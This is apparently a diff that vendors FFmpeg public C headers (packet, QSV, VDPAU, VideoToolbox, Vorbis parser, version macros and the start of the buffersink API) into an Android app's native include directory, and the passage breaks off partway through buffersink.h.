+ * @see av_packet_unref
+ */
+typedef struct AVPacket {
+    /**
+     * A reference to the reference-counted buffer where the packet data is
+     * stored.
+     * May be NULL, then the packet data is not reference-counted.
+     */
+    AVBufferRef *buf;
+    /**
+     * Presentation timestamp in AVStream->time_base units; the time at which
+     * the decompressed packet will be presented to the user.
+     * Can be AV_NOPTS_VALUE if it is not stored in the file.
+     * pts MUST be larger or equal to dts as presentation cannot happen before
+     * decompression, unless one wants to view hex dumps. Some formats misuse
+     * the terms dts and pts/cts to mean something different. Such timestamps
+     * must be converted to true pts/dts before they are stored in AVPacket.
+     */
+    int64_t pts;
+    /**
+     * Decompression timestamp in AVStream->time_base units; the time at which
+     * the packet is decompressed.
+     * Can be AV_NOPTS_VALUE if it is not stored in the file.
+     */
+    int64_t dts;
+    uint8_t *data;
+    int   size;
+    int   stream_index;
+    /**
+     * A combination of AV_PKT_FLAG values
+     */
+    int   flags;
+    /**
+     * Additional packet data that can be provided by the container.
+     * Packet can contain several types of side information.
+     */
+    AVPacketSideData *side_data;
+    int side_data_elems;
+
+    /**
+     * Duration of this packet in AVStream->time_base units, 0 if unknown.
+     * Equals next_pts - this_pts in presentation order.
+     */
+    int64_t duration;
+
+    int64_t pos;                            ///< byte position in stream, -1 if unknown
+
+    /**
+     * for some private data of the user
+     */
+    void *opaque;
+
+    /**
+     * AVBufferRef for free use by the API user. FFmpeg will never check the
+     * contents of the buffer ref. FFmpeg calls av_buffer_unref() on it when
+     * the packet is unreferenced. av_packet_copy_props() calls create a new
+     * reference with av_buffer_ref() for the target packet's opaque_ref field.
+     *
+     * This is unrelated to the opaque field, although it serves a similar
+     * purpose.
+     */
+    AVBufferRef *opaque_ref;
+
+    /**
+     * Time base of the packet's timestamps.
+     * In the future, this field may be set on packets output by encoders or
+     * demuxers, but its value will be by default ignored on input to decoders
+     * or muxers.
+     */
+    AVRational time_base;
+} AVPacket;
+
+#if FF_API_INIT_PACKET
+attribute_deprecated
+typedef struct AVPacketList {
+    AVPacket pkt;
+    struct AVPacketList *next;
+} AVPacketList;
+#endif
+
+#define AV_PKT_FLAG_KEY     0x0001 ///< The packet contains a keyframe
+#define AV_PKT_FLAG_CORRUPT 0x0002 ///< The packet content is corrupted
+/**
+ * Flag is used to discard packets which are required to maintain valid
+ * decoder state but are not required for output and should be dropped
+ * after decoding.
+ **/
+#define AV_PKT_FLAG_DISCARD   0x0004
+/**
+ * The packet comes from a trusted source.
+ *
+ * Otherwise-unsafe constructs such as arbitrary pointers to data
+ * outside the packet may be followed.
+ */
+#define AV_PKT_FLAG_TRUSTED   0x0008
+/**
+ * Flag is used to indicate packets that contain frames that can
+ * be discarded by the decoder.  I.e. Non-reference frames.
+ */
+#define AV_PKT_FLAG_DISPOSABLE 0x0010
+
+enum AVSideDataParamChangeFlags {
+    AV_SIDE_DATA_PARAM_CHANGE_SAMPLE_RATE    = 0x0004,
+    AV_SIDE_DATA_PARAM_CHANGE_DIMENSIONS     = 0x0008,
+};
+
+/**
+ * Allocate an AVPacket and set its fields to default values.  The resulting
+ * struct must be freed using av_packet_free().
+ *
+ * @return An AVPacket filled with default values or NULL on failure.
+ *
+ * @note this only allocates the AVPacket itself, not the data buffers. Those
+ * must be allocated through other means such as av_new_packet.
+ *
+ * @see av_new_packet
+ */
+AVPacket *av_packet_alloc(void);
+
+/**
+ * Create a new packet that references the same data as src.
+ *
+ * This is a shortcut for av_packet_alloc()+av_packet_ref().
+ *
+ * @return newly created AVPacket on success, NULL on error.
+ *
+ * @see av_packet_alloc
+ * @see av_packet_ref
+ */
+AVPacket *av_packet_clone(const AVPacket *src);
+
+/**
+ * Free the packet, if the packet is reference counted, it will be
+ * unreferenced first.
+ *
+ * @param pkt packet to be freed. The pointer will be set to NULL.
+ * @note passing NULL is a no-op.
+ */
+void av_packet_free(AVPacket **pkt);
+
+#if FF_API_INIT_PACKET
+/**
+ * Initialize optional fields of a packet with default values.
+ *
+ * Note, this does not touch the data and size members, which have to be
+ * initialized separately.
+ *
+ * @param pkt packet
+ *
+ * @see av_packet_alloc
+ * @see av_packet_unref
+ *
+ * @deprecated This function is deprecated. Once it's removed,
+               sizeof(AVPacket) will not be a part of the ABI anymore.
+ */
+attribute_deprecated
+void av_init_packet(AVPacket *pkt);
+#endif
+
+/**
+ * Allocate the payload of a packet and initialize its fields with
+ * default values.
+ *
+ * @param pkt packet
+ * @param size wanted payload size
+ * @return 0 if OK, AVERROR_xxx otherwise
+ */
+int av_new_packet(AVPacket *pkt, int size);
+
+/**
+ * Reduce packet size, correctly zeroing padding
+ *
+ * @param pkt packet
+ * @param size new size
+ */
+void av_shrink_packet(AVPacket *pkt, int size);
+
+/**
+ * Increase packet size, correctly zeroing padding
+ *
+ * @param pkt packet
+ * @param grow_by number of bytes by which to increase the size of the packet
+ */
+int av_grow_packet(AVPacket *pkt, int grow_by);
+
+/**
+ * Initialize a reference-counted packet from av_malloc()ed data.
+ *
+ * @param pkt packet to be initialized. This function will set the data, size,
+ *        and buf fields, all others are left untouched.
+ * @param data Data allocated by av_malloc() to be used as packet data. If this
+ *        function returns successfully, the data is owned by the underlying AVBuffer.
+ *        The caller may not access the data through other means.
+ * @param size size of data in bytes, without the padding. I.e. the full buffer
+ *        size is assumed to be size + AV_INPUT_BUFFER_PADDING_SIZE.
+ *
+ * @return 0 on success, a negative AVERROR on error
+ */
+int av_packet_from_data(AVPacket *pkt, uint8_t *data, int size);
+
+/**
+ * Allocate new information of a packet.
+ *
+ * @param pkt packet
+ * @param type side information type
+ * @param size side information size
+ * @return pointer to fresh allocated data or NULL otherwise
+ */
+uint8_t* av_packet_new_side_data(AVPacket *pkt, enum AVPacketSideDataType type,
+                                 size_t size);
+
+/**
+ * Wrap an existing array as a packet side data.
+ *
+ * @param pkt packet
+ * @param type side information type
+ * @param data the side data array. It must be allocated with the av_malloc()
+ *             family of functions. The ownership of the data is transferred to
+ *             pkt.
+ * @param size side information size
+ * @return a non-negative number on success, a negative AVERROR code on
+ *         failure. On failure, the packet is unchanged and the data remains
+ *         owned by the caller.
+ */
+int av_packet_add_side_data(AVPacket *pkt, enum AVPacketSideDataType type,
+                            uint8_t *data, size_t size);
+
+/**
+ * Shrink the already allocated side data buffer
+ *
+ * @param pkt packet
+ * @param type side information type
+ * @param size new side information size
+ * @return 0 on success, < 0 on failure
+ */
+int av_packet_shrink_side_data(AVPacket *pkt, enum AVPacketSideDataType type,
+                               size_t size);
+
+/**
+ * Get side information from packet.
+ *
+ * @param pkt packet
+ * @param type desired side information type
+ * @param size If supplied, *size will be set to the size of the side data
+ *             or to zero if the desired side data is not present.
+ * @return pointer to data if present or NULL otherwise
+ */
+uint8_t* av_packet_get_side_data(const AVPacket *pkt, enum AVPacketSideDataType type,
+                                 size_t *size);
+
+/**
+ * Pack a dictionary for use in side_data.
+ *
+ * @param dict The dictionary to pack.
+ * @param size pointer to store the size of the returned data
+ * @return pointer to data if successful, NULL otherwise
+ */
+uint8_t *av_packet_pack_dictionary(AVDictionary *dict, size_t *size);
+/**
+ * Unpack a dictionary from side_data.
+ *
+ * @param data data from side_data
+ * @param size size of the data
+ * @param dict the metadata storage dictionary
+ * @return 0 on success, < 0 on failure
+ */
+int av_packet_unpack_dictionary(const uint8_t *data, size_t size,
+                                AVDictionary **dict);
+
+/**
+ * Convenience function to free all the side data stored.
+ * All the other fields stay untouched.
+ *
+ * @param pkt packet
+ */
+void av_packet_free_side_data(AVPacket *pkt);
+
+/**
+ * Setup a new reference to the data described by a given packet
+ *
+ * If src is reference-counted, setup dst as a new reference to the
+ * buffer in src. Otherwise allocate a new buffer in dst and copy the
+ * data from src into it.
+ *
+ * All the other fields are copied from src.
+ *
+ * @see av_packet_unref
+ *
+ * @param dst Destination packet. Will be completely overwritten.
+ * @param src Source packet
+ *
+ * @return 0 on success, a negative AVERROR on error. On error, dst
+ *         will be blank (as if returned by av_packet_alloc()).
+ */
+int av_packet_ref(AVPacket *dst, const AVPacket *src);
+
+/**
+ * Wipe the packet.
+ *
+ * Unreference the buffer referenced by the packet and reset the
+ * remaining packet fields to their default values.
+ *
+ * @param pkt The packet to be unreferenced.
+ */
+void av_packet_unref(AVPacket *pkt);
+
+/**
+ * Move every field in src to dst and reset src.
+ *
+ * @see av_packet_unref
+ *
+ * @param src Source packet, will be reset
+ * @param dst Destination packet
+ */
+void av_packet_move_ref(AVPacket *dst, AVPacket *src);
+
+/**
+ * Copy only "properties" fields from src to dst.
+ *
+ * Properties for the purpose of this function are all the fields
+ * beside those related to the packet data (buf, data, size)
+ *
+ * @param dst Destination packet
+ * @param src Source packet
+ *
+ * @return 0 on success AVERROR on failure.
+ */
+int av_packet_copy_props(AVPacket *dst, const AVPacket *src);
+
+/**
+ * Ensure the data described by a given packet is reference counted.
+ *
+ * @note This function does not ensure that the reference will be writable.
+ *       Use av_packet_make_writable instead for that purpose.
+ *
+ * @see av_packet_ref
+ * @see av_packet_make_writable
+ *
+ * @param pkt packet whose data should be made reference counted.
+ *
+ * @return 0 on success, a negative AVERROR on error. On failure, the
+ *         packet is unchanged.
+ */
+int av_packet_make_refcounted(AVPacket *pkt);
+
+/**
+ * Create a writable reference for the data described by a given packet,
+ * avoiding data copy if possible.
+ *
+ * @param pkt Packet whose data should be made writable.
+ *
+ * @return 0 on success, a negative AVERROR on failure. On failure, the
+ *         packet is unchanged.
+ */
+int av_packet_make_writable(AVPacket *pkt);
+
+/**
+ * Convert valid timing fields (timestamps / durations) in a packet from one
+ * timebase to another. Timestamps with unknown values (AV_NOPTS_VALUE) will be
+ * ignored.
+ *
+ * @param pkt packet on which the conversion will be performed
+ * @param tb_src source timebase, in which the timing fields in pkt are
+ *               expressed
+ * @param tb_dst destination timebase, to which the timing fields will be
+ *               converted
+ */
+void av_packet_rescale_ts(AVPacket *pkt, AVRational tb_src, AVRational tb_dst);
+
+/**
+ * @}
+ */
+
+#endif // AVCODEC_PACKET_H

app/src/main/jniLibs/arm64-v8a/include/libavcodec/qsv.h

@@ -0,0 +1,109 @@
+/*
+ * Intel MediaSDK QSV public API
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_QSV_H
+#define AVCODEC_QSV_H
+
+#include <mfxvideo.h>
+
+#include "libavutil/buffer.h"
+
+/**
+ * This struct is used for communicating QSV parameters between libavcodec and
+ * the caller. It is managed by the caller and must be assigned to
+ * AVCodecContext.hwaccel_context.
+ * - decoding: hwaccel_context must be set on return from the get_format()
+ *             callback
+ * - encoding: hwaccel_context must be set before avcodec_open2()
+ */
+typedef struct AVQSVContext {
+    /**
+     * If non-NULL, the session to use for encoding or decoding.
+     * Otherwise, libavcodec will try to create an internal session.
+     */
+    mfxSession session;
+
+    /**
+     * The IO pattern to use.
+     */
+    int iopattern;
+
+    /**
+     * Extra buffers to pass to encoder or decoder initialization.
+     */
+    mfxExtBuffer **ext_buffers;
+    int         nb_ext_buffers;
+
+    /**
+     * Encoding only. If this field is set to non-zero by the caller, libavcodec
+     * will create an mfxExtOpaqueSurfaceAlloc extended buffer and pass it to
+     * the encoder initialization. This only makes sense if iopattern is also
+     * set to MFX_IOPATTERN_IN_OPAQUE_MEMORY.
+     *
+     * The number of allocated opaque surfaces will be the sum of the number
+     * required by the encoder and the user-provided value nb_opaque_surfaces.
+     * The array of the opaque surfaces will be exported to the caller through
+     * the opaque_surfaces field.
+     *
+     * The caller must set this field to zero for oneVPL (MFX_VERSION >= 2.0)
+     */
+    int opaque_alloc;
+
+    /**
+     * Encoding only, and only if opaque_alloc is set to non-zero. Before
+     * calling avcodec_open2(), the caller should set this field to the number
+     * of extra opaque surfaces to allocate beyond what is required by the
+     * encoder.
+     *
+     * On return from avcodec_open2(), this field will be set by libavcodec to
+     * the total number of allocated opaque surfaces.
+     */
+    int nb_opaque_surfaces;
+
+    /**
+     * Encoding only, and only if opaque_alloc is set to non-zero. On return
+     * from avcodec_open2(), this field will be used by libavcodec to export the
+     * array of the allocated opaque surfaces to the caller, so they can be
+     * passed to other parts of the pipeline.
+     *
+     * The buffer reference exported here is owned and managed by libavcodec,
+     * the callers should make their own reference with av_buffer_ref() and free
+     * it with av_buffer_unref() when it is no longer needed.
+     *
+     * The buffer data is an nb_opaque_surfaces-sized array of mfxFrameSurface1.
+     */
+    AVBufferRef *opaque_surfaces;
+
+    /**
+     * Encoding only, and only if opaque_alloc is set to non-zero. On return
+     * from avcodec_open2(), this field will be set to the surface type used in
+     * the opaque allocation request.
+     */
+    int opaque_alloc_type;
+} AVQSVContext;
+
+/**
+ * Allocate a new context.
+ *
+ * It must be freed by the caller with av_free().
+ */
+AVQSVContext *av_qsv_alloc_context(void);
+
+#endif /* AVCODEC_QSV_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/vdpau.h

@@ -0,0 +1,171 @@
+/*
+ * The Video Decode and Presentation API for UNIX (VDPAU) is used for
+ * hardware-accelerated decoding of MPEG-1/2, H.264 and VC-1.
+ *
+ * Copyright (C) 2008 NVIDIA
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_VDPAU_H
+#define AVCODEC_VDPAU_H
+
+/**
+ * @file
+ * @ingroup lavc_codec_hwaccel_vdpau
+ * Public libavcodec VDPAU header.
+ */
+
+
+/**
+ * @defgroup lavc_codec_hwaccel_vdpau VDPAU Decoder and Renderer
+ * @ingroup lavc_codec_hwaccel
+ *
+ * VDPAU hardware acceleration has two modules
+ * - VDPAU decoding
+ * - VDPAU presentation
+ *
+ * The VDPAU decoding module parses all headers using FFmpeg
+ * parsing mechanisms and uses VDPAU for the actual decoding.
+ *
+ * As per the current implementation, the actual decoding
+ * and rendering (API calls) are done as part of the VDPAU
+ * presentation (vo_vdpau.c) module.
+ *
+ * @{
+ */
+
+#include <vdpau/vdpau.h>
+
+#include "libavutil/avconfig.h"
+#include "libavutil/attributes.h"
+
+#include "avcodec.h"
+
+struct AVCodecContext;
+struct AVFrame;
+
+typedef int (*AVVDPAU_Render2)(struct AVCodecContext *, struct AVFrame *,
+                               const VdpPictureInfo *, uint32_t,
+                               const VdpBitstreamBuffer *);
+
+/**
+ * This structure is used to share data between the libavcodec library and
+ * the client video application.
+ * This structure will be allocated and stored in AVCodecContext.hwaccel_context
+ * by av_vdpau_bind_context(). Members can be set by the user once
+ * during initialization or through each AVCodecContext.get_buffer()
+ * function call. In any case, they must be valid prior to calling
+ * decoding functions.
+ *
+ * The size of this structure is not a part of the public ABI and must not
+ * be used outside of libavcodec.
+ */
+typedef struct AVVDPAUContext {
+    /**
+     * VDPAU decoder handle
+     *
+     * Set by user.
+     */
+    VdpDecoder decoder;
+
+    /**
+     * VDPAU decoder render callback
+     *
+     * Set by the user.
+     */
+    VdpDecoderRender *render;
+
+    AVVDPAU_Render2 render2;
+} AVVDPAUContext;
+
+#if FF_API_VDPAU_ALLOC_GET_SET
+/**
+ * @brief allocation function for AVVDPAUContext
+ *
+ * Allows extending the struct without breaking API/ABI
+ * @deprecated use av_vdpau_bind_context() instead
+ */
+attribute_deprecated
+AVVDPAUContext *av_alloc_vdpaucontext(void);
+
+/**
+ * @deprecated render2 is public and can be accessed directly
+ */
+attribute_deprecated
+AVVDPAU_Render2 av_vdpau_hwaccel_get_render2(const AVVDPAUContext *);
+/**
+ * @deprecated render2 is public and can be accessed directly
+ */
+attribute_deprecated
+void av_vdpau_hwaccel_set_render2(AVVDPAUContext *, AVVDPAU_Render2);
+#endif
+
+/**
+ * Associate a VDPAU device with a codec context for hardware acceleration.
+ * This function is meant to be called from the get_format() codec callback,
+ * or earlier. It can also be called after avcodec_flush_buffers() to change
+ * the underlying VDPAU device mid-stream (e.g. to recover from non-transparent
+ * display preemption).
+ *
+ * @note get_format() must return AV_PIX_FMT_VDPAU if this function completes
+ * successfully.
+ *
+ * @param avctx decoding context whose get_format() callback is invoked
+ * @param device VDPAU device handle to use for hardware acceleration
+ * @param get_proc_address VDPAU device driver
+ * @param flags zero of more OR'd AV_HWACCEL_FLAG_* flags
+ *
+ * @return 0 on success, an AVERROR code on failure.
+ */
+int av_vdpau_bind_context(AVCodecContext *avctx, VdpDevice device,
+                          VdpGetProcAddress *get_proc_address, unsigned flags);
+
+/**
+ * Gets the parameters to create an adequate VDPAU video surface for the codec
+ * context using VDPAU hardware decoding acceleration.
+ *
+ * @note Behavior is undefined if the context was not successfully bound to a
+ * VDPAU device using av_vdpau_bind_context().
+ *
+ * @param avctx the codec context being used for decoding the stream
+ * @param type storage space for the VDPAU video surface chroma type
+ *              (or NULL to ignore)
+ * @param width storage space for the VDPAU video surface pixel width
+ *              (or NULL to ignore)
+ * @param height storage space for the VDPAU video surface pixel height
+ *              (or NULL to ignore)
+ *
+ * @return 0 on success, a negative AVERROR code on failure.
+ */
+int av_vdpau_get_surface_parameters(AVCodecContext *avctx, VdpChromaType *type,
+                                    uint32_t *width, uint32_t *height);
+
+#if FF_API_VDPAU_ALLOC_GET_SET
+/**
+ * Allocate an AVVDPAUContext.
+ *
+ * @return Newly-allocated AVVDPAUContext or NULL on failure.
+ * @deprecated use av_vdpau_bind_context() instead
+ */
+attribute_deprecated
+AVVDPAUContext *av_vdpau_alloc_context(void);
+#endif
+
+/** @} */
+
+#endif /* AVCODEC_VDPAU_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/version.h

@@ -0,0 +1,45 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_VERSION_H
+#define AVCODEC_VERSION_H
+
+/**
+ * @file
+ * @ingroup libavc
+ * Libavcodec version macros.
+ */
+
+#include "libavutil/version.h"
+
+#include "version_major.h"
+
+#define LIBAVCODEC_VERSION_MINOR  19
+#define LIBAVCODEC_VERSION_MICRO 101
+
+#define LIBAVCODEC_VERSION_INT  AV_VERSION_INT(LIBAVCODEC_VERSION_MAJOR, \
+                                               LIBAVCODEC_VERSION_MINOR, \
+                                               LIBAVCODEC_VERSION_MICRO)
+#define LIBAVCODEC_VERSION      AV_VERSION(LIBAVCODEC_VERSION_MAJOR,    \
+                                           LIBAVCODEC_VERSION_MINOR,    \
+                                           LIBAVCODEC_VERSION_MICRO)
+#define LIBAVCODEC_BUILD        LIBAVCODEC_VERSION_INT
+
+#define LIBAVCODEC_IDENT        "Lavc" AV_STRINGIFY(LIBAVCODEC_VERSION)
+
+#endif /* AVCODEC_VERSION_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/version_major.h

@@ -0,0 +1,52 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_VERSION_MAJOR_H
+#define AVCODEC_VERSION_MAJOR_H
+
+/**
+ * @file
+ * @ingroup libavc
+ * Libavcodec version macros.
+ */
+
+#define LIBAVCODEC_VERSION_MAJOR  61
+
+/**
+ * FF_API_* defines may be placed below to indicate public API that will be
+ * dropped at a future version bump. The defines themselves are not part of
+ * the public API and may change, break or disappear at any time.
+ *
+ * @note, when bumping the major version it is recommended to manually
+ * disable each FF_API_* in its own commit instead of disabling them all
+ * at once through the bump. This improves the git bisect-ability of the change.
+ */
+
+#define FF_API_INIT_PACKET         (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_SUBFRAMES           (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_TICKS_PER_FRAME     (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_DROPCHANGED         (LIBAVCODEC_VERSION_MAJOR < 62)
+
+#define FF_API_AVFFT               (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_FF_PROFILE_LEVEL    (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_AVCODEC_CLOSE       (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_BUFFER_MIN_SIZE     (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_VDPAU_ALLOC_GET_SET (LIBAVCODEC_VERSION_MAJOR < 62)
+#define FF_API_QUALITY_FACTOR      (LIBAVCODEC_VERSION_MAJOR < 62)
+
+#endif /* AVCODEC_VERSION_MAJOR_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/videotoolbox.h

@@ -0,0 +1,85 @@
+/*
+ * Videotoolbox hardware acceleration
+ *
+ * copyright (c) 2012 Sebastien Zwickert
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_VIDEOTOOLBOX_H
+#define AVCODEC_VIDEOTOOLBOX_H
+
+/**
+ * @file
+ * @ingroup lavc_codec_hwaccel_videotoolbox
+ * Public libavcodec Videotoolbox header.
+ */
+
+/**
+ * @defgroup lavc_codec_hwaccel_videotoolbox VideoToolbox Decoder
+ * @ingroup lavc_codec_hwaccel
+ *
+ * Hardware accelerated decoding using VideoToolbox on Apple Platforms
+ *
+ * @{
+ */
+
+#include <stdint.h>
+
+#define Picture QuickdrawPicture
+#include <VideoToolbox/VideoToolbox.h>
+#undef Picture
+
+#include "libavcodec/avcodec.h"
+
+#include "libavutil/attributes.h"
+
+/**
+ * This struct holds all the information that needs to be passed
+ * between the caller and libavcodec for initializing Videotoolbox decoding.
+ * Its size is not a part of the public ABI, it must be allocated with
+ * av_videotoolbox_alloc_context() and freed with av_free().
+ */
+typedef struct AVVideotoolboxContext {
+    /**
+     * Videotoolbox decompression session object.
+     */
+    VTDecompressionSessionRef session;
+
+    /**
+     * CVPixelBuffer Format Type that Videotoolbox will use for decoded frames.
+     * set by the caller. If this is set to 0, then no specific format is
+     * requested from the decoder, and its native format is output.
+     */
+    OSType cv_pix_fmt_type;
+
+    /**
+     * CoreMedia Format Description that Videotoolbox will use to create the decompression session.
+     */
+    CMVideoFormatDescriptionRef cm_fmt_desc;
+
+    /**
+     * CoreMedia codec type that Videotoolbox will use to create the decompression session.
+     */
+    int cm_codec_type;
+} AVVideotoolboxContext;
+
+/**
+ * @}
+ */
+
+#endif /* AVCODEC_VIDEOTOOLBOX_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/vorbis_parser.h

@@ -0,0 +1,74 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * A public API for Vorbis parsing
+ *
+ * Determines the duration for each packet.
+ */
+
+#ifndef AVCODEC_VORBIS_PARSER_H
+#define AVCODEC_VORBIS_PARSER_H
+
+#include <stdint.h>
+
+typedef struct AVVorbisParseContext AVVorbisParseContext;
+
+/**
+ * Allocate and initialize the Vorbis parser using headers in the extradata.
+ */
+AVVorbisParseContext *av_vorbis_parse_init(const uint8_t *extradata,
+                                           int extradata_size);
+
+/**
+ * Free the parser and everything associated with it.
+ */
+void av_vorbis_parse_free(AVVorbisParseContext **s);
+
+#define VORBIS_FLAG_HEADER  0x00000001
+#define VORBIS_FLAG_COMMENT 0x00000002
+#define VORBIS_FLAG_SETUP   0x00000004
+
+/**
+ * Get the duration for a Vorbis packet.
+ *
+ * If @p flags is @c NULL,
+ * special frames are considered invalid.
+ *
+ * @param s        Vorbis parser context
+ * @param buf      buffer containing a Vorbis frame
+ * @param buf_size size of the buffer
+ * @param flags    flags for special frames
+ */
+int av_vorbis_parse_frame_flags(AVVorbisParseContext *s, const uint8_t *buf,
+                                int buf_size, int *flags);
+
+/**
+ * Get the duration for a Vorbis packet.
+ *
+ * @param s        Vorbis parser context
+ * @param buf      buffer containing a Vorbis frame
+ * @param buf_size size of the buffer
+ */
+int av_vorbis_parse_frame(AVVorbisParseContext *s, const uint8_t *buf,
+                          int buf_size);
+
+void av_vorbis_parse_reset(AVVorbisParseContext *s);
+
+#endif /* AVCODEC_VORBIS_PARSER_H */

app/src/main/jniLibs/arm64-v8a/include/libavfilter/buffersink.h

@@ -0,0 +1,173 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVFILTER_BUFFERSINK_H
+#define AVFILTER_BUFFERSINK_H
+
+/**
+ * @file
+ * @ingroup lavfi_buffersink
+ * memory buffer sink API for audio and video
+ */
+
+#include "avfilter.h"
+
+/**
+ * @defgroup lavfi_buffersink Buffer sink API
+ * @ingroup lavfi
+ * @{
+ *
+ * The buffersink and abuffersink filters are there to connect filter graphs
+ * to applications. They have a single input, connected to the graph, and no
+ * output. Frames must be extracted using av_buffersink_get_frame() or
+ * av_buffersink_get_samples().
+ *
+ * The format negotiated by the graph during configuration can be obtained
+ * using the accessor functions:
+ * - av_buffersink_get_time_base(),
+ * - av_buffersink_get_format(),
+ * - av_buffersink_get_frame_rate(),
+ * - av_buffersink_get_w(),
+ * - av_buffersink_get_h(),
+ * - av_buffersink_get_sample_aspect_ratio(),
+ * - av_buffersink_get_channels(),
+ * - av_buffersink_get_ch_layout(),
+ * - av_buffersink_get_sample_rate().
+ *
+ * The layout returned by av_buffersink_get_ch_layout() must de uninitialized
+ * by the caller.
+ *
+ * The format can be constrained by setting options, using av_opt_set() and
+ * related functions with the AV_OPT_SEARCH_CHILDREN flag.
+ *  - pix_fmts (int list),
+ *  - color_spaces (int list),
+ *  - color_ranges (int list),
+ *  - sample_fmts (int list),
+ *  - sample_rates (int list),
+ *  - ch_layouts (string),
+ *  - channel_counts (int list),
+ *  - all_channel_counts (bool).
+ * Most of these options are of type binary, and should be set using
+ * av_opt_set_int_list() or av_opt_set_bin(). If they are not set, all
+ * corresponding formats are accepted.
+ *
+ * As a special case, if ch_layouts is not set, all valid channel layouts are
+ * accepted except for UNSPEC layouts, unless all_channel_counts is set.
+ */
+
+/**
+ * Get a frame with filtered data from sink and put it in frame.
+ *
+ * @param ctx    pointer to a buffersink or abuffersink filter context.
